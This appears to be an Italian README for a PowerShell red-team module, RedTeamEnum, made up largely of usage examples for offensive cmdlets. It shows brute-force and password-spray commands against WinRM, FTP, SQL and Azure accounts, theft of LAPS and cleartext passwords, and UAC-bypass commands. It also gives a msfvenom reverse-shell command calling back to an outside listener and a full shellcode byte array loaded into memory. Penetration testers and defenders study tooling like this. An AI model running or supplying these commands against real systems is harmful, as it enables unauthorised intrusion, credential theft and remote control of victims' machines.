
Raccolta di funzioni PowerShell che un Red Teamer potrebbe utilizzare in un'operazione.
Raccolta di funzioni PowerShell che un membro del Red Team può utilizzare per raccogliere dati da una macchina o ottenere accesso a un target. Ho aggiunto file ps1 per i comandi inclusi nel modulo RedTeamEnum. Questo ti permetterà di trovare e utilizzare facilmente un singolo comando se è tutto ciò che desideri. Se vuoi l'intero modulo, esegui le seguenti azioni dopo aver scaricato la directory RedTeamEnum e i suoi contenuti sul tuo dispositivo.
C:\PS> robocopy .\RedTeamEnum $env:USERPROFILE\Documents\WindowsPowerShell\Modules\RedTeamEnum *
# Questo copierà il modulo in una posizione che ti permette di importarlo facilmente. Se stai utilizzando la sincronizzazione OneDrive potresti aver bisogno di usare $env:USERPROFILE\OneDrive\Documents\WindowsPowerShell\Modules\RedTeamEnum invece.
C:\PS> Import-Module -Name RedTeamEnum -Verbose
# Questo importerà tutti i comandi nel modulo.
C:\PS> Get-Command -Module RedTeamEnum
# Questo elencherà tutti i comandi nel modulo.
C:\PS> Convert-Base64 -Value "Convert me to base64!" -Encode
C:\PS> Convert-Base64 -Value "Q29udmVydCBtZSB0byBiYXNlNjQh" -Decode
C:\PS> Convert-StringToHash -String "Convert me to base64!"
C:\PS> Convert-StringToHash -String "Password123" -Encoding UTF8 -Algorithm MD5
# Entrambi gli esempi sopra convertono la stringa Password123 in un valore hash MD5
C:\PS> Convert-SID -Username tobor
# L'esempio sopra converte il SID di tobor
C:\PS> Convert-SID -SID S-1-5-21-2860287465-2011404039-792856344-500
# L'esempio sopra converte il valore SID nel nome utente associato
C:\PS> Test-BruteForceZipPassword -PassFile 'C:\Users\USER\Downloads\Applications\pass.txt' -Path 'C:\Users\USER\Downloads\Applications\KiTTY.7z' -ZipExe 'C:\Program Files\7-Zip\7z.exe'
# Questo esempio utilizza le password nel file pass.txt per decifrare il file KiTTY.7z protetto da password
C:\PS> Test-BruteForceCredentials -ComputerName DC01.domain.com -UseSSL -Username 'admin','administrator' -Passwd 'Password123!' -SleepMinutes 5
# Questo esempio testa l'unica password definita contro entrambi gli utenti admin e administrator sul computer remoto DC01.domain.com usando WinRM su HTTPS con un intervallo di 5 minuti tra ogni tentativo
C:\PS> Test-BruteForceCredentials -ComputerName File.domain.com -UserFile C:\Temp\users.txt -PassFile C:\Temp\rockyou.txt
# Questo esempio testa ogni password in rockyou.txt contro ogni nome utente nel file users.txt senza pause tra i tentativi
C:\PS> Get-LdapInfo -Detailed -SPNNamedObjects -Domain domain.com -Credential (Get-Credential)
# L'esempio sopra restituisce tutte le proprietà degli oggetti restituiti in domain.com
#
C:\PS> Get-LdapInfo -DomainControllers | Select-Object -Property 'Name','ms-Mcs-AdmPwd'
# Se eseguito come amministratore, restituirà la password LAPS per l'account amministratore locale
#
C:\PS> Get-LdapInfo -ListUsers | Where-Object -Property SamAccountName -like "user.samname"
# NOTA: Se includi lo switch "-Detailed" e pipi l'output a Where-Object, non restituirà alcuna proprietà. Se desideri visualizzare tutte le proprietà del tuo risultato, dovrai eseguirlo usando il formato sottostante
#
C:\PS> Get-LdapInfo -AllServers | Where-Object -Property LogonCount -gt 1 | Select-Object -Property *
C:\PS> Get-NetworkShareInfo -ShareName C$
# L'esempio sopra restituisce informazioni sulla condivisione C$ sulla macchina locale
#RISULTATI
Name : C$
InstallDate :
Description : Condivisione predefinita
Path : C:\
ComputerName : TOBORDESKTOP
Status : OK
C:\PS> Get-NetworkShareInfo -ShareName NETLOGON,SYSVOL,C$ -ComputerName DC01.domain.com, DC02.domain.com, 10.10.10.1
# L'esempio sopra scopre e restituisce informazioni su NETLOGON, SYSVOL e C$ sui tre dispositivi remoti DC01, DC02 e 10.10.10.1
C:\PS> Test-PrivEsc
C:\PS> Get-InitialEnum
C:\PS> Start-SimpleHTTPServer
Apri il server HTTP sulla porta 8000
#OPPURE
C:\PS> Start-SimpleHTTPServer -Port 80
# Apri il server HTTP sulla porta 80
C:\PS> Invoke-PortScan -IpAddress 192.168.0.1
C:\PS> Invoke-PingSweep -Subnet 192.168.1.0 -Start 192 -End 224 -Source Singular
# NOTA: Il parametro Source funziona solo se il valore IP Source Routing è "Yes"
C:\PS> Invoke-PingSweep -Subnet 10.0.0.0 -Start 1 -End 20 -Count 2
# Il valore predefinito per Count è 1
C:\PS> Invoke-PingSweep -Subnet 172.16.0.0 -Start 64 -End 128 -Count 3 -Source Multiple
# Il comando seguente utilizzerà le credenziali inserite per aprire l'eseguibile msf.exe come utente tobor
C:\PS> Invoke-UseCreds -Username 'OsbornePro\tobor' -Passwd 'P@ssw0rd1' -Path .\msf.exe -Verbose
Questo cmdlet può anche essere usato per eseguire file situati sulla tua macchina locale ed eseguirli su una macchina remota.
# Il comando seguente utilizzerà le credenziali inserite per aprire l'eseguibile exploit.ps1 come utente tobor su DC01 e DC02 usando WinRM
C:\PS> Invoke-UseCreds -Username 'OsbornePro\tobor' -Passwd 'P@ssw0rd1' -Path .\exploit.ps1 -ComputerName "DC01.domain.com","DC02.domain.com"
# Il comando seguente utilizzerà le credenziali inserite per aprire l'eseguibile exploit.ps1 come utente tobor su DC01 e DC02 usando WinRM su HTTPS
C:\PS> Invoke-UseCreds -Username 'OsbornePro\tobor' -Passwd 'P@ssw0rd1' -Path .\exploit.ps1 -ComputerName "DC01.domain.com","DC02.domain.com" -UseSSL
C:\PS> Invoke-FodHelperBypass -Program "powershell" -Verbose
# OPPURE
C:\PS> Invoke-FodHelperBypass -Program "cmd /c msf.exe" -Verbose
# Genera il payload da utilizzare
msfvenom -p windows/meterpreter/shell_reverse_tcp LHOST=192.168.137.129 LPORT=1337 -f powershell
Avvia un listener, usa quel valore nel parametro "ShellCode" ed esegui il comando per ottenere la tua shell. Ciò richiederà anche che alcune protezioni di memoria non siano abilitate. NOTA: Presta attenzione che NON CI SONO VIRGOLETTE DOPPIE attorno al valore della variabile ShellCode. Questo perché si aspetta un array di byte.
C:\PS> Invoke-InMemoryPayload -Payload 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x0,0x0,0x0,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0xf,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x2,0x2c,0x20,0x41,0xc1,0xc9,0xd,0x41,0x1,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x1,0xd0,0x8b,0x80,0x88,0x0,0x0,0x0,0x48,0x85,0xc0,0x74,0x67,0x48,0x1,0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x1,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x1,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0xd,0x41,0x1,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x3,0x4c,0x24,0x8,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x1,0xd0,0x66,0x41,0x8b,0xc,0x48,0x44,0x8b,0x40,0x1c,0x49,0x1,0xd0,0x41,0x8b,0x4,0x88,0x48,0x1,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x49,0xbe,0x77,0x73,0x32,0x5f,0x33,0x32,0x0,0x0,0x41,0x56,0x49,0x89,0xe6,0x48,0x81,0xec,0xa0,0x1,0x0,0x0,0x49,0x89,0xe5,0x49,0xbc,0x2,0x0,0x5,0x39,0xc0,0xa8,0x89,0x81,0x41,0x54,0x49,0x89,0xe4,0x4c,0x89,0xf1,0x41,0xba,0x4c,0x77,0x26,0x7,0xff,0xd5,0x4c,0x89,0xea,0x68,0x1,0x1,0x0,0x0,0x59,0x41,0xba,0x29,0x80,0x6b,0x0,0xff,0xd5,0x50,0x50,0x4d,0x31,0xc9,0x4d,0x31,0xc0,0x48,0xff,0xc0,0x48,0x89,0xc2,0x48,0xff,0xc0,0x48,0x89,0xc1,0x41,0xba,0xea,0xf,0xdf,0xe0,0xff,0xd5,0x48,0x89,0xc7,0x6a,0x10,0x41,0x58,0x4c,0x89,0xe2,0x48,0x89,0xf9,0x41,0xba,0x99,0xa5,0x74,0x61,0xff,0xd5,0x48,0x81,0xc4,0x40,0x2,0x0,0x0,0x49,0xb8,0x63,0x6d,0x64,0x0,0x0,0x0,0x0,0x0,0x41,0x50,0x41,0x50,0x48,0x89,0xe2,0x57,0x57,0x57,0x4d,0x31,0xc0,0x6a,0xd,0x59,0x41,0x50,0xe2,0xfc,0x66,0xc7,0x44,0x24,0x54,0x1,0x1,0x48,0x8d,0x44,0x24,0x18,0xc6,0x0,0x68,0x48,0x89,0xe6,0x56,0x50,0x41,0x50,0x41,0x50,0x41,0x50,0x49,0xff,0xc0,0x41,0x50,0x49,0xff,0xc8,0x4d,0x89,0xc1,0x4c,0x89,0xc1,0x41,0xba,0x79,0xcc,0x3f,0x86,0xff,0xd5,0x48,0x31,0xd2,0x48,0xff,0xca,0x8b,0xe,0x41,0xba,0x8,0x87,0x1d,0x60,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,0x83,0xc4,0x28,0x3c,0x6,0x7c,0xa,0x80,0xfb,0xe0,0x75,0x5,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x0,0x59,0x41,0x89,0xda,0xff,0xd5 -Verbose

Get-ClearTextPassword -All
Il comando sopra restituisce tutti i possibili risultati che il cmdlet è in grado di fornire. È possibile cercare anche singole posizioni. Per esempio
Get-ClearTextPassword -AutoLogon
È possibile definire più di una posizione nella ricerca. Per esempio
Get-ClearTextPassword -WiFi -SNMP -Chrome -PasswordVault
Invoke-AzureEnum.ps1 -Path 'C:\Temp\enum.txt'
Invoke-AzurePasswordSpray -UserName "[email protected]","[email protected]" -Passwd 'Password123!','asdf123!'
# Questo esempio testa le password definite contro l'elenco di nomi utente definiti
Invoke-AzurePasswordSpray -UserName "[email protected]","[email protected]" -Passwd 'Password123!','asdf123!' -SleepSeconds 60
# Questo esempio testa le password definite contro l'elenco di nomi utente definiti con un'attesa di 60 secondi prima del prossimo tentativo di accesso
Invoke-AzurePasswordSpray -UserName "[email protected]","[email protected]" -Passwd 'Password123!','asdf123!' -SleepSeconds 60 -RoundRobin
# Questo esempio testa le password definite contro l'elenco di nomi utente definiti con un'attesa di 60 secondi prima del prossimo tentativo di accesso. Esegue i tentativi di autenticazione in modalità Round Robin per i nomi utente definiti
$UserNames = "[email protected]","[email protected]","[email protected]","[email protected]"
$UserNames | Invoke-AzurePasswordSpray -Passwd "Password123!" -RoundRobin
# Questo esempio testa le password definite contro l'elenco di nomi utente definiti in modalità Round Robin
Test-KerberosDoubleHop -All
# Questo esempio controlla e mostra oggetti AD di Computer, Utenti e Amministratori vulnerabili a un Kerberos Double Hop sul controller di dominio a cui sei connesso
Test-KerberosDoubleHop -Server DC01.domain.com -UserResults
# Questo esempio usa WinRM per mostrare oggetti AD di Utenti vulnerabili a un Kerberos Double Hop sul controller di dominio remoto DC01.domain.com
Test-KerberosDoubleHop -Server DC01.domain.com -UseSSL -AdminResults
# Questo esempio usa WinRM su HTTPS per mostrare oggetti AD di Amministratori vulnerabili a un Kerberos Double Hop sul controller di dominio remoto DC01.domain.com
Test-KerberosDoubleHop -ComputerResults -AdminResults
# Questo esempio controlla e mostra oggetti AD di Computer e Amministratori vulnerabili a un Kerberos Double Hop sul controller di dominio a cui sei connesso
Invoke-DccwUACBypass -Program "cmd /c start powershell"
# Questo esempio sfrutta il metodo di bypass UAC di DCCW per aprire PowerShell con privilegi amministrativi
Invoke-DccwUACBypass -Program "cmd /c start mfs.exe"
# Questo esempio sfrutta il metodo di bypass UAC di DCCW per eseguire il payload msf.exe con privilegi amministrativi
Enable-RDP
Test-BruteLocalUserCredential -Username Administrator -Passwd 'Password123!','Passw0rd1!'
# Questo esempio testa le due password definite contro l'account utente Administrator
Test-BruteLocalUserCredential -Username Administrator -Passwd (Get-Content -Path C:\Temp\passlist.txt)
# Questo esempio testa le password all'interno del file C:\Temp\passlist.txt contro l'account utente Administrator
$Users = (Get-LocalUser).Name
ForEach ($U in $Users) {Test-BruteLocalUserCredential -Username $U -Passwd (Get-Content -Path C:\Temp\passlist.txt)}
# Questo esempio testa una lista di password contro tutti gli account utente locali
Test-FTPCredential -Server FTP.domian.com -Username ftpuser -Passwd 'Password123','Passw0rd1!','password123!' -Port 21 -Protocol FTP
# Questo esempio testa le 3 password definite contro l'account ftpuser sul server FTP situato su FTP.domain.com sulla porta 21
Test-FTPCredential -Server FTP.domian.com -Username ftpuser,admin -Passwd 'Password123','Passw0rd1!','password123!' -Protocol FTPS -Seconds 60
# Questo esempio testa le 3 password definite contro gli account admin e ftpuser sul server FTP situato su FTP.domain.com sulla porta 21, attendendo 60 secondi tra i tentativi falliti
Test-FTPCredential -Server FTP.domian.com -Username (Get-Content -Path C:\Temp\userlist.txt) -Passwd (Get-Content -Path C:\Temp\passlist.txt)
# Questo esempio testa le password in C:\Temp\passlist.txt contro tutti gli utenti definiti nel file C:\Temp\userlist.txt sul server FTP situato su FTP.domain.com sulla porta 21, attendendo 1 secondo tra i tentativi falliti
Test-SQLCredential -Server sql.domian.com -Username sa -Passwd 'Password123','Passw0rd1!','password123!' -Port 1433
# Questo esempio testa le 3 password definite contro l'account sa sul server SQL situato su sql.domain.com sulla porta 1433
Test-SQLCredential -Server sql.domian.com -Username sa,admin -Passwd 'Password123','Passw0rd1!','password123!' -Seconds 60
# Questo esempio testa le 3 password definite contro gli account admin e sa sul server SQL situato su sql.domain.com sulla porta 1433, attendendo 60 secondi tra i tentativi falliti
Test-SQLCredential -Server sql.domian.com -Username (Get-Content -Path C:\Temp\userlist.txt) -Passwd (Get-Content -Path C:\Temp\passlist.txt)
# Questo esempio testa le password in C:\Temp\passlist.txt contro tutti gli utenti definiti nel file C:\Temp\userlist.txt sul server SQL situato su sql.domain.com sulla porta 1433, attendendo 1 secondo tra i tentativi falliti
Per maggiori informazioni su Start-Listener, Start-Bind e Invoke-ReversePowerShell vedi https://github.com/tobor88/ReversePowerShell